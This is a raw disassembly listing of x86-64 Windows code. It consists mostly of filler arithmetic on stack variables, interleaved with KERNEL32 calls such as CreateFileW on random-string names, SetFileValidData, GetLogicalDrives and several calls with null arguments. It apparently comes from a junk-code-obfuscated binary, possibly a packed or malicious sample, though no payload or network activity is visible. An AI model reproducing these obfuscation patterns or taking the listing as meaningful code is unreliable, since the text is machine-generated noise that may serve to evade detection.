mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x45b], al
mov eax, dword [rsp + 0xceb0]
mov dword [rsp + 0xd094], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd28], eax
mov eax, dword [rsp + 0x8754]
mov rcx, qword [rsp + 0x19b40]
mov qword [rsp + 0x19ba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19ba8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xce18], eax
lea rax, [rsp + 0x35e0]
mov qword [0x1402bf6a8], rax
lea rax, [rsp + 0x7ac]
mov qword [rsp + 0x19bb0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.ayWjwMmkDhlglS72GALYe9Hj1oNHBGAL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19bb8], rax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3640], ax
movzx eax, byte [rsp + 0x65e]
movzx ecx, byte [rsp + 0x79f]
and eax, ecx
mov byte [rsp + 0x78d], al
mov eax, dword [0x1402ad66c]
mov dword [rsp + 0xd098], eax
mov rax, qword [rsp + 0x19af0]
mov ecx, dword [rsp + 0xcf9c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcdf8]
mov dword [rsp + 0xd09c], eax
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xcfa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc538], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xd050]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xbe2c], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79a], al
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov word [0x1402bf6a4], ax
mov eax, dword [rsp + 0xce04]
mov ecx, dword [rsp + 0xcce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcffc], eax
mov eax, dword [rsp + 0xcfb8]
mov dword [rsp + 0xd0a0], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc658], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov dword [rsp + 0xd0a4], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19b50]
mov word [rcx], ax
movzx eax, byte [0x1402acb3a]
movzx ecx, byte [rsp + 0x45b]
and eax, ecx
mov byte [rsp + 0x797], al
movsx eax, word [rsp + 0x3604]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2860], ax
movsx eax, byte [rsp + 0x782]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x7af], al
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x83ec]
shr eax, cl
mov dword [0x1402ad6b8], eax
mov eax, dword [rsp + 0xb984]
mov dword [rsp + 0xd0a8], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd50], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb7a]
or eax, ecx
mov byte [rsp + 0x7a7], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35c0], ax
mov eax, dword [rsp + 0xd090]
mov dword [rsp + 0xd0ac], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfdc], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x19ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8cc0], eax
mov rax, qword [rsp + 0x19a48]
mov ecx, dword [0x1402ad634]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd068], eax
lea rax, [rsp + 0x36dc]
mov qword [rsp + 0x19bc0], rax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [rsp + 0x792]
sub eax, ecx
mov byte [0x1402bf711], al
lea rdx, [rsp + 0xd0b0]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19a90]
mov ecx, dword [rsp + 0xd078]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf9c], eax
mov eax, dword [rsp + 0xcfd0]
mov ecx, dword [rsp + 0xcfe0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f6c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdfab
mov rcx, qword [rsp + 0x19ae0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcf6c], eax
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xce20]
mov dword [rsp + 0xd0b4], eax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [0x1402ad658]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19b90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xb418]
mov dword [rsp + 0xd0b8], eax
movsx eax, byte [rsp + 0x786]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x79e], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35e0], ax
movzx eax, word [rsp + 0x367c]
movzx ecx, word [rsp + 0x368c]
add eax, ecx
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b2]
sar eax, cl
mov byte [0x1402acb47], al
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd04c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x196d0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x19bc8], rax
mov eax, dword [rsp + 0xcd10]
mov dword [rsp + 0xd0bc], eax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x199e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov dword [rsp + 0xd0c0], eax
mov eax, dword [0x1402ad644]
mov ecx, dword [rsp + 0xce04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcce4], eax
mov eax, dword [rsp + 0xac7c]
mov dword [rsp + 0xd0c4], eax
mov rax, qword [rsp + 0x19b40]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcfb0], eax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad6bc], ax
movzx eax, byte [rsp + 0x7a8]
movzx ecx, byte [rsp + 0x788]
and eax, ecx
mov byte [rsp + 0x79b], al
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8354], eax
mov eax, dword [rsp + 0xcd70]
mov ecx, dword [0x1402bf788]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc538], eax
movzx eax, word [rsp + 0x3304]
mov word [rsp + 0x36ec], ax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [0x1402acb77]
sub eax, ecx
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x2874]
mov word [rsp + 0x36f0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8f74
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xce84], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x796]
sub eax, ecx
mov byte [rsp + 0x78c], al
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcfe8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfac], eax
mov eax, dword [rsp + 0xbe2c]
mov ecx, dword [rsp + 0xb710]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad658], eax
mov rax, qword [rsp + 0x19780]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x99ac], eax
mov eax, dword [rsp + 0xcf40]
mov rcx, qword [0x1402bf760]
mov qword [rsp + 0x19bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19bd0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xd0c8], eax
movzx eax, byte [rsp + 0x78f]
mov rcx, qword [rsp + 0x19908]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7aa], al
movzx eax, word [rsp + 0x3654]
movzx ecx, word [rsp + 0x1c3c]
and eax, ecx
mov word [rsp + 0x36a4], ax
lea rax, [rsp + 0x9498]
mov qword [rsp + 0x19bd8], rax
mov edx, 0x145087
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcddc], eax
mov rax, qword [0x1402bf6c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa4], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov dword [rsp + 0xd0cc], eax
mov rax, qword [rsp + 0x19a60]
mov ecx, dword [rsp + 0xc224]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6c0], eax
movzx eax, byte [rsp + 0x784]
movzx ecx, byte [0x1402acb76]
add eax, ecx
mov byte [rsp + 0x79a], al
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3634], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x19be0], rax
movsx eax, word [rsp + 0x2678]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3290], ax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x475]
add eax, ecx
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [rsp + 0xcf08]
mov dword [rsp + 0xd0d0], eax
mov rax, qword [rsp + 0x198a8]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfd0], eax
movzx eax, byte [rsp + 0x797]
mov byte [rsp + 0x7b3], al
movzx eax, word [rsp + 0x3654]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x35dc], ax
mov eax, dword [rsp + 0xd0a4]
mov dword [0x1402bf6a0], eax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xcfd8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcea4], eax
mov rax, qword [rsp + 0x19b90]
mov ecx, dword [rsp + 0xa934]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa240], eax
mov eax, dword [rsp + 0xceac]
mov ecx, dword [rsp + 0xce04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf54], eax
lea rax, [rsp + 0x368c]
mov qword [rsp + 0x19be8], rax
movzx eax, byte [rsp + 0x797]
movzx ecx, byte [rsp + 0x796]
sar eax, cl
mov byte [rsp + 0x580], al
mov eax, dword [rsp + 0xcfd0]
mov rcx, qword [rsp + 0x19ab0]
mov qword [rsp + 0x19bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19bf0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x19a18]
mov eax, dword [rax]
mov dword [rsp + 0xd0d4], eax
mov eax, dword [rsp + 0xce90]
mov ecx, dword [rsp + 0xcd4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde8], eax
mov rax, qword [rsp + 0x19888]
mov ecx, dword [0x1402bf6f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad634], eax
mov eax, dword [rsp + 0xcdf0]
mov dword [rsp + 0xd0d8], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x502]
add eax, ecx
mov byte [rsp + 0x7ab], al
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36a8], ax
movzx eax, word [rsp + 0x1f48]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [str.yR__]
sub eax, ecx
mov byte [rsp + 0x65e], al
lea rax, [rsp + 0xd060]
mov qword [rsp + 0x19bf8], rax
mov rax, qword [rsp + 0x19740]
mov ecx, dword [rsp + 0xce48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcfb0], eax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [0x1402acb5b]
sub eax, ecx
mov rcx, qword [rsp + 0x19a08]
mov byte [rcx], al
movzx eax, word [rsp + 0x36a4]
movzx ecx, word [rsp + 0x360c]
add eax, ecx
mov word [0x1402ad654], ax
mov eax, dword [rsp + 0xcdd0]
mov dword [rsp + 0xd0dc], eax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [0x1402bf6f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
lea rax, [rsp + 0xac7c]
mov qword [rsp + 0x19c00], rax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x83e4], eax
movzx eax, byte [rsp + 0x794]
mov byte [rsp + 0x7b4], al
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x36b4]
sar eax, cl
mov word [rsp + 0x36a4], ax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a48]
mov qword [rsp + 0x19c08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcde0], eax
lea rax, [rsp + 0xcf10]
mov qword [rsp + 0x19c10], rax
movsx eax, byte [rsp + 0x789]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402acb86], al
movsx eax, word [rsp + 0x36e0]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x35e0], ax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcddc], eax
movzx eax, byte [0x1402acb5b]
mov byte [rsp + 0x7b5], al
movzx eax, word [rsp + 0x35fc]
movzx ecx, word [rsp + 0x252c]
imul eax, ecx
mov word [rsp + 0x2dd4], ax
mov eax, dword [rsp + 0xb6d4]
mov ecx, dword [rsp + 0xd058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfdc], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaba8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.TFSPVxYLRpdAQG6tcGe7Q4s1Ra
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19c18], rax
mov eax, dword [rsp + 0x95c8]
mov ecx, dword [rsp + 0xd000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf74], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0xce14]
mov dword [rsp + 0xd0e0], eax
mov eax, dword [rsp + 0xcde0]
mov ecx, dword [0x1402bf788]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19888]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79b]
sub eax, ecx
mov byte [rsp + 0x7a4], al
mov edx, 0x1a81e8
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xce8c], eax
movzx eax, word [rsp + 0x3638]
mov rcx, qword [rsp + 0x19848]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad6c4], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [rsp + 0xd0e4], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xced0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0b8], eax
mov eax, dword [rsp + 0xcf38]
mov ecx, dword [rsp + 0x8d3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb22c], eax
mov eax, dword [rsp + 0xcec8]
mov rcx, qword [rsp + 0x199f8]
mov qword [rsp + 0x19c20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xcf80], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [0x1402ad648]
xor eax, ecx
mov word [rsp + 0x363c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd0e8], eax
lea rax, [rsp + 0x794]
mov qword [rsp + 0x19c28], rax
movsx eax, byte [rsp + 0x475]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x19898]
mov byte [rcx], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0x19768]
movzx eax, word [rax]
mov word [rsp + 0x36f4], ax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov ecx, dword [0x1402ad688]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad66c], eax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf5c], eax
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [rsp + 0x36f8], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
imul eax, eax, 0xcb
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x19c10]
mov ecx, dword [rsp + 0xcd94]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb984], eax
mov eax, dword [rsp + 0xce7c]
mov ecx, dword [rsp + 0xcd10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2e4], eax
mov rax, qword [rsp + 0x19bd8]
mov ecx, dword [rsp + 0xa7d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd018], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [rsp + 0xcf10]
mov qword [rsp + 0x19c30], rax
mov rax, qword [0x1402bf6d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x361c], ax
movzx eax, byte [rsp + 0x63d]
mov rcx, qword [rsp + 0x19a08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bf6f0], al
mov rax, qword [rsp + 0x19a20]
mov ecx, dword [0x1402ad644]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa224], eax
mov rax, qword [rsp + 0x19a48]
mov eax, dword [rax]
mov dword [rsp + 0xd0ec], eax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x19a70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19b90]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x19ad8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce8c], eax
mov eax, dword [0x1402ad64c]
mov dword [rsp + 0xd0f0], eax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce08], eax
movsx eax, word [rsp + 0x36c0]
movsx ecx, word [rsp + 0x36cc]
and eax, ecx
mov word [rsp + 0x3648], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19898]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4ab], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2dd4], ax
lea rax, [rsp + 0x7b2]
mov qword [0x1402bf698], rax
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov dword [rsp + 0xd0f4], eax
mov eax, dword [rsp + 0xcfe8]
mov rcx, qword [rsp + 0x199f8]
mov qword [rsp + 0x19c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xce04], eax
movzx eax, word [rsp + 0x1c3c]
mov word [rsp + 0x36fc], ax
movzx eax, byte [rsp + 0x78f]
movzx ecx, byte [rsp + 0x787]
cdq
idiv ecx
mov byte [rsp + 0x590], al
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x198f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcea0]
mov dword [rsp + 0xd0f8], eax
mov rax, qword [rsp + 0x19ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
lea rcx, str.hzJob
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3700], ax
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb6a0], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [0x1402bf690], al
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
imul eax, eax, 0x5d3
mov word [rsp + 0x1ea4], ax
mov eax, dword [rsp + 0xce78]
mov ecx, dword [rsp + 0xcde8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd060], eax
mov eax, dword [rsp + 0xc4b0]
mov dword [rsp + 0xd0fc], eax
movsx eax, word [rsp + 0x36cc]
movsx ecx, word [rsp + 0x35b4]
add eax, ecx
mov word [rsp + 0x36c0], ax
mov rax, qword [rsp + 0x19880]
movzx eax, byte [rax]
mov byte [rsp + 0x7b6], al
movzx eax, byte [rsp + 0x7b3]
movzx ecx, byte [rsp + 0x78a]
add eax, ecx
mov byte [rsp + 0x793], al
lea rdx, [rsp + 0x2d2a0]
mov rcx, qword [rsp + 0x19b00]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcddc], eax
movzx eax, word [rsp + 0x36e8]
movzx ecx, word [rsp + 0x35a8]
add eax, ecx
mov word [rsp + 0x367c], ax
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0xc8f4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x914c], eax
mov rax, qword [rsp + 0x198e0]
mov ecx, dword [0x1402ad658]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6c8], eax
mov eax, dword [rsp + 0xd094]
mov ecx, dword [rsp + 0x99ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0b8], eax
mov rax, qword [rsp + 0x19a90]
mov eax, dword [rax]
mov dword [rsp + 0xd100], eax
mov rax, qword [rsp + 0x19c30]
mov ecx, dword [rsp + 0x91fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcf64], eax
movzx eax, word [rsp + 0x3680]
movzx ecx, word [rsp + 0x3618]
add eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov byte [rsp + 0x7b7], al
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcdd8]
sar eax, cl
mov dword [rsp + 0xc538], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov eax, dword [rsp + 0x914c]
mov ecx, dword [rsp + 0xa7bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x90c4], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [0x1402ad6c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcee0], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xce74]
shl eax, cl
mov dword [0x1402ad64c], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd104], eax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov byte [rsp + 0x7b8], al
movzx eax, word [rsp + 0x2874]
movzx ecx, word [rsp + 0x36ac]
cdq
idiv ecx
mov word [rsp + 0x1f7c], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x1e4]
and eax, ecx
mov rcx, qword [rsp + 0x198c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2860]
mov word [rsp + 0x3704], ax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf20], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa528]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa444], eax
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [0x1402ad670]
and eax, ecx
mov rcx, qword [rsp + 0x19858]
mov word [rcx], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19a50]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x78a], al
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad638], eax
mov eax, dword [0x1402bf6bc]
mov dword [rsp + 0xd108], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0x9f6c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcea4], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov dword [rsp + 0xd10c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x2104]
movzx ecx, word [rsp + 0x36c8]
sub eax, ecx
mov word [rsp + 0x2aa4], ax
movzx eax, byte [rsp + 0x17a]
mov rcx, qword [rsp + 0x19c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7b7], al
